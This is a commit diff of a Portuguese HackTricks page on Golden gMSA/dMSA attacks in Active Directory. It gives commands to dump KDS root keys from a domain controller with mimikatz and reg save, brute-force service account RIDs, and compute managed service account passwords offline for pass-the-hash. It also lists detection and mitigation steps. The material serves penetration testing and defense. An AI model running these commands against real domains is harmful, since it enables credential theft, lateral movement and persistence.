mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/golden-d
This commit is contained in:
parent
a9d4bc4d2c
commit
c2859ff9c9
@ -23,7 +23,6 @@ Nenhum tráfego Kerberos ou interação com o domínio é necessária durante o
|
||||
|
||||
Se um atacante puder obter todas as três entradas **offline**, ele pode calcular **senhas válidas atuais e futuras** para **qualquer gMSA/dMSA no bosque** sem tocar no DC novamente, contornando:
|
||||
|
||||
* Logs de pré-autenticação Kerberos / solicitação de ticket
|
||||
* Auditoria de leitura LDAP
|
||||
* Intervalos de mudança de senha (eles podem pré-computar)
|
||||
|
||||
@ -31,11 +30,12 @@ Isso é análogo a um *Golden Ticket* para contas de serviço.
|
||||
|
||||
### Pré-requisitos
|
||||
|
||||
1. **Comprometimento em nível de bosque** de **um DC** (ou Administrador da Empresa). O acesso `SYSTEM` é suficiente.
|
||||
1. **Comprometimento em nível de bosque** de **um DC** (ou Administrador da Empresa), ou acesso `SYSTEM` a um dos DCs no bosque.
|
||||
2. Capacidade de enumerar contas de serviço (leitura LDAP / força bruta RID).
|
||||
3. Estação de trabalho .NET ≥ 4.7.2 x64 para executar [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ou código equivalente.
|
||||
|
||||
### Fase 1 – Extrair a Chave Raiz KDS
|
||||
### Golden gMSA / dMSA
|
||||
##### Fase 1 – Extrair a Chave Raiz KDS
|
||||
|
||||
Dump de qualquer DC (Cópia de Sombra de Volume / hives SAM+SECURITY brutos ou segredos remotos):
|
||||
```cmd
|
||||
@ -45,16 +45,25 @@ reg save HKLM\SYSTEM system.hive
|
||||
# With mimikatz on the DC / offline
|
||||
mimikatz # lsadump::secrets
|
||||
mimikatz # lsadump::trust /patch # shows KDS root keys too
|
||||
|
||||
# With GoldendMSA
|
||||
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
|
||||
GoldendMSA.exe kds
|
||||
|
||||
# With GoldenGMSA
|
||||
GoldenGMSA.exe kdsinfo
|
||||
```
|
||||
A string base64 rotulada como `RootKey` (nome GUID) é necessária em etapas posteriores.
|
||||
|
||||
### Fase 2 – Enumerar objetos gMSA/dMSA
|
||||
##### Fase 2 – Enumerar objetos gMSA / dMSA
|
||||
|
||||
Recupere pelo menos `sAMAccountName`, `objectSid` e `msDS-ManagedPasswordId`:
|
||||
```powershell
|
||||
# Authenticated or anonymous depending on ACLs
|
||||
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
||||
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
||||
|
||||
GoldenGMSA.exe gmsainfo
|
||||
```
|
||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementa modos auxiliares:
|
||||
```powershell
|
||||
@ -64,49 +73,49 @@ GoldendMSA.exe info -d example.local -m ldap
|
||||
# RID brute force if anonymous binds are blocked
|
||||
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```
|
||||
### Fase 3 – Adivinhar / Descobrir o ManagedPasswordID (quando ausente)
|
||||
##### Fase 3 – Adivinhar / Descobrir o ManagedPasswordID (quando ausente)
|
||||
|
||||
Algumas implementações *removem* `msDS-ManagedPasswordId` de leituras protegidas por ACL.
|
||||
Algumas implantações *removem* `msDS-ManagedPasswordId` de leituras protegidas por ACL.
|
||||
Como o GUID é de 128 bits, um bruteforce ingênuo é inviável, mas:
|
||||
|
||||
1. Os primeiros **32 bits = tempo da época Unix** da criação da conta (resolução em minutos).
|
||||
2. Seguidos por 96 bits aleatórios.
|
||||
|
||||
Portanto, uma **lista de palavras restrita por conta** (± algumas horas) é realista.
|
||||
Portanto, uma **lista de palavras estreita por conta** (± algumas horas) é realista.
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
A ferramenta calcula senhas candidatas e compara seu blob base64 com o atributo real `msDS-ManagedPassword` – a correspondência revela o GUID correto.
|
||||
A ferramenta calcula senhas candidatas e compara seu blob base64 com o verdadeiro atributo `msDS-ManagedPassword` – a correspondência revela o GUID correto.
|
||||
|
||||
### Fase 4 – Cálculo e Conversão de Senha Offline
|
||||
##### Fase 4 – Cálculo e Conversão de Senha Offline
|
||||
|
||||
Uma vez que o ManagedPasswordID é conhecido, a senha válida está a um comando de distância:
|
||||
```powershell
|
||||
# derive base64 password
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
|
||||
|
||||
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
|
||||
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
|
||||
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
|
||||
```
|
||||
Os hashes resultantes podem ser injetados com **mimikatz** (`sekurlsa::pth`) ou **Rubeus** para abuso de Kerberos, permitindo **movimentação lateral** furtiva e **persistência**.
|
||||
|
||||
## Detecção e Mitigação
|
||||
|
||||
* Restringir as capacidades de **backup de DC e leitura do hive do registro** a administradores de Tier-0.
|
||||
* Monitorar a criação de **Modo de Restauração de Serviços de Diretório (DSRM)** ou **Cópia de Sombra de Volume** em DCs.
|
||||
* Monitorar a criação do **Modo de Restauração de Serviços de Diretório (DSRM)** ou **Cópia de Sombra de Volume** em DCs.
|
||||
* Auditar leituras / alterações em `CN=Master Root Keys,…` e flags `userAccountControl` de contas de serviço.
|
||||
* Detectar escritas de **senha em base64** incomuns ou reutilização repentina de senhas de serviço entre hosts.
|
||||
* Detectar escritas de **senha base64** incomuns ou reutilização repentina de senhas de serviço entre hosts.
|
||||
* Considerar converter gMSAs de alto privilégio em **contas de serviço clássicas** com rotações aleatórias regulares onde a isolação de Tier-0 não é possível.
|
||||
|
||||
## Ferramentas
|
||||
|
||||
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – implementação de referência usada nesta página.
|
||||
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – implementação de referência usada nesta página.
|
||||
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
|
||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket usando chaves AES derivadas.
|
||||
|
||||
## Referências
|
||||
|
||||
- [Golden dMSA – bypass de autenticação para Contas de Serviço Gerenciadas Delegadas](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||
- [gMSA Active Directory Ataques Contas](https://www.semperis.com/blog/golden-gmsa-attack/)
|
||||
- [Repositório GitHub Semperis/GoldenDMSA](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Improsec – ataque de confiança Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user